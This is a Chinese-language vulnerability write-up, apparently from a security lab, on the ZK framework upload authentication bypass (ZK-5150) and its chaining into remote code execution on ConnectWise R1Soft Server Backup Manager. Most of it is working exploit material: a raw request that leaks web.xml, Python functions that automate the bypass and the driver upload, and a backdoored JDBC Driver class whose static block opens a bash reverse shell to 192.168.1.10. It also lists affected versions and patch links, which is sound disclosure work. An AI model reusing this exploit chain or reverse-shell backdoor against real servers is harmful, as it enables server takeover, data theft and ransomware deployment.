前言
ZK是构建企业Web应用程序的领先开源JavaWeb框架。ZK下载量超过2000000次,为众多公司和机构提供了支持,从小型公司到多个行业的《财富》世界500强。
R1Soft Server Backup Manager(SBM)为服务提供商提供了一个灵活、服务器友好的解决方案,消除了运行传统备份的麻烦。用户可以每15分钟运行一次备份,而不会影响服务器性能。近1800家服务提供商使用它来保护250000台服务器。
受影响版本
ZK框架v9.6.1、9.6.0.1、9.5.1.3、9.0.1.2和8.6.4.1。
ConnectWise Recover v2.9.7及更早版本受到影响。
R1Soft Server Backup Manager v6.16.3及更早版本受到影响。
ZK框架身份验证绕过
[ZK-5150] Vulnerability in zk upload - ZK-Tracker [https://tracker.zkoss.org/browse/ZK-5150]
从漏洞描述来看,如果路由/zkau/upload包含nextURI参数,ZK AuUploader servlet会进行forward请求转发,该转发可以绕过身份认证,返回web上下文中的文件,如获取web.xml、zk页面、applicationContext-security.xml配置信息等。
分析
直接看webapps/web-temp/ui/WEB-INF/lib/zk-7.0.6.1.jar!/org/zkoss/zk/au/http/AuUploader.class#service()方法,接收了nextURI参数并进行请求转发。
请求构造
尝试转发到web.xml,响应ZK-Error头为410,说明失败了,dtid为随便输入的字符。
观察http请求,发现dtid是随机生成的,并且附带了JSESSIONID。
分析前端调用的js,发现从zk.Desktop对象获取了dtid。
填入dtid和对应JSESSIONID
POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1Host: 10.211.55.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36ZK-SID: 3181Accept: */*Origin: http://10.211.55.6Referer: http://10.211.55.6/login.zulAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8Connection: closeCookie:JSESSIONID=986150E63DB473A50F546481080F18CCContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Length: 154
------WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Disposition: form-data; name="nextURI"
/WEB-INF/web.xml------WebKitFormBoundaryJ7idG4OgW5iZREBG--
尝试访问页面
nextURI=/Configuration/server-info.zul
发现绕过了身份验证,获取到了应用的敏感信息。
自动获取
使用webdriver获取
# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/def bypass_auth1(target): warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning) rprint("[italic green][*] Bypass authentication.") try: opt = webdriver.ChromeOptions() opt.add_argument('--headless') opt.add_argument('--ignore-certificate-errors') driver = webdriver.Chrome(executable_path='./chromedriver', options=opt) driver.get(target) cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value'] dtid = driver.execute_script(""" for (var dtid in zk.Desktop.all) return dtid """) return dtid, cookie_str except Exception as e: rprint("[italic red][-] Bypass authentication failed. {0}".format(e)) exit()
显然这种方式不是很方便,笔者随后发现在访问login.zul时dtid已经生成并且在响应包中。
优化
def bypass_auth2(target): rprint("[italic green][*] Bypass authentication.") uri = "{0}/login.zul".format(target) try: result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy) cookie_str = result.headers['Set-Cookie'].split(";")[0] r = u"dt:'(.*?)',cu:" regex = re.compile(r) dtid = regex.findall(result.text)[0] return dtid, cookie_str except Exception as e: rprint("[italic red][-] Bypass authentication failed. {0}".format(e)) exit()
ConnectWise R1Soft Server Backup Manager RCE
R1Soft Server Backup Manager使用了zk框架,并且支持设置jdbc驱动,从而导致远程命令执行并接管该服务器。
分析
jdbc上传处理zk-web/WEB-INF/classes/com/r1soft/backup/server/web/configuration/DatabaseDriversWindow.class#onUpload()方法 。
跟入processUploadedMedia()方法,获取了文件流。
传入webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#uploadMySQLDriver()方法。
webapps/lib/cdpserver.jar!/com/r1soft/backup/server/worker/db/mysql/MySQLUtil.class#hasMySQLDriverClass()会判断上传的jar包是否有org/gjt/mm/mysql/Driver.class,否则不会添加到classpath中,返回The file does not contain the MySQL JDBC database driver。
webapps/lib/cdpserver.jar!/com/r1soft/util/ClassPathUtil.class#addFile()方法调用URLClassLoader添加jar包到classpath中。
最后webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#testMySQLDatabaseDriver()进行驱动测试。
webapps/lib/cdpserver.jar!/com/r1soft/backup/server/db/mysql/MySQLDatabaseConnection.class#driverTest()最终在Class.forName时执行了Driver中的静态代码块。
jdbc backdoor
早在2018年时就有人提出jdbc backdoor,一部分应用程序在ui界面允许管理员上传jdbc驱动,这样非常方便,无需登陆服务器添加相关jar包。但DriverManager中的静态代码块会默认执行,从而可以执行任意代码。具体原理可以看看SPI机制是如何实现JDBC的,这里不再阐述。
编写恶意com.mysql.jdbc.Driver,其实就是实现java.sql.Driver接口相关方法,在静态代码块中添加恶意代码。
package com.mysql.jdbc;
import java.sql.*;import java.util.*;import java.util.logging.Logger;
/* author: Bearcat of www.numencyber.com desc : Mysql jdbc backdoor driver*/public class Driver implements java.sql.Driver { static { // String winCmd = "calc"; String linuxCmd = "bash -i >& /dev/tcp/192.168.1.10/2022 0>&1";
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd.exe", "/c", winCmd}; } else { cmds = new String[]{"/bin/bash", "-c", linuxCmd}; }
try { Runtime.getRuntime().exec(cmds); } catch (Exception ignored) { // do nothing... } }
@Override public Connection connect(String url, Properties info) throws SQLException { return null; }
@Override public boolean acceptsURL(String url) throws SQLException { return false; }
@Override public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new DriverPropertyInfo[0]; }
@Override public int getMajorVersion() { return 0; }
@Override public int getMinorVersion() { return 0; }
@Override public boolean jdbcCompliant() { return false; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }}
替换合法jdbc包中的com.mysql.jdbc.Driver。
def build_jdbc_backdoor(): rprint("[italic green][*] Compile java code.") java_cmd = 'javac -source 1.5 -target 1.5 Driver.java' popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) popen.stdout.read()
tmp_path = 'jdbc_jar' os.mkdir(tmp_path) with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf: unzf.extractall("jdbc_jar") unzf.close() os.remove('jdbc_jar/com/mysql/jdbc/Driver.class') shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')
with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(tmp_path): relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep for filename in files: zf.write(os.path.join(root, filename), relative_root + filename) zf.close() shutil.rmtree(tmp_path)
rprint("[italic green][*] Build jdbc backdoor success.")
请求构造
回到ZK框架机制本身,页面每个元素都会随机生成唯一标识,需要模拟整个请求过程,拿登陆举例。
自动上传
模拟上传驱动过程
def forward_request(target, next_uri, cookie_str, uuid, dtid): uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid) param = {"nextURI": (None, next_uri)} headers = {"Cookie": cookie_str} data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp") headers["Content-Type"] = data.content_type try: result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy) return result except Exception as e: rprint("[italic red][-] Forward request failed. {0}".format(e)) exit()
def deploy_jdbc_backdoor(target): rprint( "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.") play_again = input("Whether to continue? (y/n):").lower() if play_again[0] != "y": exit() # get login_dtid login_dtid, cookie_str = bypass_auth2(target) rprint("[italic green][*] Start deploying the jdbc backdoor.") build_jdbc_backdoor() # database_dtid and mysql_driver_upload_button_id uri = "/Configuration/database-drivers.zul" result = forward_request(target, uri, cookie_str, "101010", login_dtid) r1 = u"{dt:'(.*?)',cu:" regex = re.compile(r1) database_dtid = regex.findall(result.text)[0] r1 = u"'zul.wgt.Button','(.*?)'," regex = re.compile(r1) mysql_driver_upload_button_id = regex.findall(result.text)[0]
uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format( database_dtid, mysql_driver_upload_button_id) result = forward_request(target, uri, cookie_str, "101010", login_dtid)
# file_upload_dlg_id and file_upload_id r1 = u"zul.fud.FileuploadDlg','(.*?)'," regex = re.compile(r1) file_upload_dlg_id = regex.findall(result.text)[0]
r1 = u"zul.wgt.Fileupload','(.*?)'," regex = re.compile(r1) file_upload_id = regex.findall(result.text)[0]
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid) upload_jdbc_backdoor(uri, cookie_str)
uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format( database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id) forward_request(target, uri, cookie_str, "101010", login_dtid)
uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid, file_upload_dlg_id) forward_request(target, uri, cookie_str, "101010", login_dtid)
def upload_jdbc_backdoor(uri, cookie_str): rprint("[italic green][*] Upload the database driver.") headers = {"Cookie": cookie_str} files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')} try: requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy) except Exception as e: rprint("[italic red][-] Upload the database driver failed. {0}".format(e)) exit()
利用演示
总结
R1Soft Server Backup Manager使用ZK框架作为主框架,其安全性需要各Web3项目方提高重视,及时关注各种Web3基础架构的安全漏洞并及时打好补丁,以避免潜在的安全风险和数字资产损失。我们将及时挖掘,追踪各种web3上的安全风险,以及提供领先的安全解决方案,确保web3世界链上,链下安全无虞。
互联网影响
通过Shodan发现了4000多个暴露的Server Backup Manager,很有可能会被攻击者利用接管主服务器和agent主机权限并下发勒索软件。建议各Web3项目方提高重视,及时升级到安全版本,以避免潜在的安全风险和数字资产损失。如有任何疑问或技术交流,欢迎联系我们 [email protected]。
补丁下载
[ZK-5150] Vulnerability in zk upload - ZK-Tracker
(https://tracker.zkoss.org/browse/ZK-5150)
ConnectWise Recover and R1Soft Server Backup Manager Critical Security Release
(https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin)
NUMEN实验室致力于对Web3生态安全保驾护航。
还没有评论,来说两句吧...